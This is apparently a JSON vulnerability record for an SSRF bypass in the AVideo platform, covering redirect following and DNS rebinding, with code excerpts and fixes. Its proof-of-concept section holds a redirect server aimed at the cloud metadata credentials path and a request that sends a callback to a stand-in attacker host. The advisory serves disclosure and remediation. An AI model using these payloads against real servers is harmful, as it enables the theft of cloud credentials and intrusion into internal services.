{"id":"CVE-2026-43884","aliases":["GHSA-2hch-c97c-g99x"],"url":"https://o3.security/vulnerability/CVE-2026-43884","summary":"WWBN AVideo: SSRF Protection Bypass via HTTP Redirect and DNS Rebinding in isSSRFSafeURL()","details":"### Summary\n\nTwo endpoints in AVideo call `isSSRFSafeURL()` to validate user-supplied URLs, then fetch them using bare `file_get_contents()` **without disabling PHP's automatic redirect following**. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., `http://169.254.169.254/latest/meta-data/`). Since `isSSRFSafeURL()` only validates the *initial* URL, the redirect target bypasses all SSRF protections.\n\nA secondary finding is that 6+ callers of `isSSRFSafeURL()` discard the `$resolvedIP` out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.\n\n**Severity:** High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)\n\n### Details\n\n#### Finding 1: Redirect-Based SSRF Bypass\n\n**Vulnerable code — `plugin/AI/receiveAsync.json.php` (line ~162–165):**\n\n```php\n// SSRF Protection: Validate URL before fetching\nif (!isSSRFSafeURL($imageUrl)) {\n    // blocked\n} else {\n    $imageContent = file_get_contents($imageUrl);  // ← FOLLOWS REDIRECTS!\n}\n```\n\n**Vulnerable code — `objects/EpgParser.php` (line ~358–362):**\n\n```php\nif (!isSSRFSafeURL($this->url)) {\n    throw new \\RuntimeException('URL blocked by SSRF protection');\n}\n$this->content = @file_get_contents($this->url);  // ← FOLLOWS REDIRECTS!\n```\n\n**Safe code for comparison — `objects/functions.php`, `url_get_contents()`:**\n\n```php\n$opts = ['http' => ['follow_location' => 0]];  // Disable auto-redirect\n$context = stream_context_create($opts);\nfor ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {\n    $fetched = file_get_contents($currentUrl, false, $context);\n    // ... parse Location header ...\n    if ($redirectTarget) {\n        if (!isSSRFSafeURL($redirectTarget)) {  // Re-validates EACH hop\n            return false;\n        }\n        $currentUrl = $redirectTarget;\n        continue;\n    }\n    $tmp = $fetched;\n    break;\n}\n```\n\n**Root cause:** The SSRF redirect protection (`follow_location=0` + manual redirect loop with per-hop `isSSRFSafeURL()` re-validation) was correctly implemented in `url_get_contents()` but NOT propagated to these two endpoints that call `file_get_contents()` directly. PHP's default `follow_location` is `1` (follow redirects).\n\n#### Finding 2: DNS Rebinding TOCTOU (Multiple Callers)\n\n`isSSRFSafeURL()` provides a `$resolvedIP` out-parameter for DNS pinning via `CURLOPT_RESOLVE`. Only 1 of 9 callers (`plugin/LiveLinks/proxy.php`) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).\n\n**Affected callers (no DNS pinning):**\n- `objects/aVideoEncoderReceiveImage.json.php` — 4 call sites\n- `objects/aVideoEncoder.json.php` — 1 call site\n- `plugin/BulkEmbed/save.json.php` — 1 call site\n- `plugin/AI/receiveAsync.json.php` — 1 call site\n- `objects/EpgParser.php` — 1 call site\n- `plugin/Scheduler/Scheduler.php` — 1 call site\n\n### PoC\n\n#### Redirect Bypass PoC\n\n1. Attacker runs an HTTP server that returns a 302 redirect:\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n        self.end_headers()\n\nHTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n```\n\n2. Attacker triggers AI image generation and intercepts the callback:\n\n```\nPOST /plugin/AI/receiveAsync.json.php\nContent-Type: application/x-www-form-urlencoded\n\ntype=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir\n```\n\n3. `isSSRFSafeURL(\"http://ATTACKER_IP:8888/redir\")` resolves attacker IP → public → **passes**\n4. `file_get_contents(\"http://ATTACKER_IP:8888/redir\")` follows 302 to `http://169.254.169.254/...` — **no SSRF re-check occurs**\n5. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker\n\n**Control test:** Replace the redirect target with a legitimate public URL — `isSSRFSafeURL()` passes and the content is fetched normally, confirming the function works for non-malicious URLs.\n\n#### DNS Rebinding PoC\n\n1. Configure a domain with TTL=0 DNS that alternates:\n   - First query: public IP (passes `isSSRFSafeURL`)\n   - Second query: `127.0.0.1` (reaches internal services)\n2. Submit `http://rebind.attacker.com/image.jpg` to any affected endpoint\n3. `isSSRFSafeURL()` resolves → public IP → passes (discards `$resolvedIP`)\n4. `url_get_contents()` / `file_get_contents()` resolves again → `127.0.0.1` → SSRF achieved\n\n### Impact\n\nAn authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:\n- **Cloud metadata endpoints** (169.254.169.254) — exfiltrate IAM credentials, instance identity\n- **Internal services** on localhost or private network (databases, admin panels, monitoring)\n- **Port scanning** of the internal network using the server as a proxy\n\nThe exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.\n\n### Suggested Fix\n\n**Fix 1 (Redirect bypass — immediate):** Route both affected files through `url_get_contents()` which already handles redirects safely, or add explicit no-redirect context:\n```php\n$ctx = stream_context_create(['http' => ['follow_location' => 0]]);\n$imageContent = file_get_contents($imageUrl, false, $ctx);\n```\n\n**Fix 2 (DNS rebinding — defense-in-depth):** Update all callers to capture `$resolvedIP` and pass it to a DNS-pinning-aware fetch function using `CURLOPT_RESOLVE`.\n\n### Credit\n\nKai Aizen <kai.aizen.dev@gmail.com>","published":"2026-05-11T20:44:08.261Z","modified":"2026-08-12T03:51:17.460092410Z","cvss":{"score":7.7,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"},"epss":{"score":0.00348,"percentile":0.28209,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/603e7bf77a835584387327e35560262feb075db3","label":"WWBN/AVideo@603e7bf"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43884.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-2hch-c97c-g99x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43884"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/603e7bf77a835584387327e35560262feb075db3"},{"type":"EVIDENCE","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-2hch-c97c-g99xg"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:17.460092410Z"}}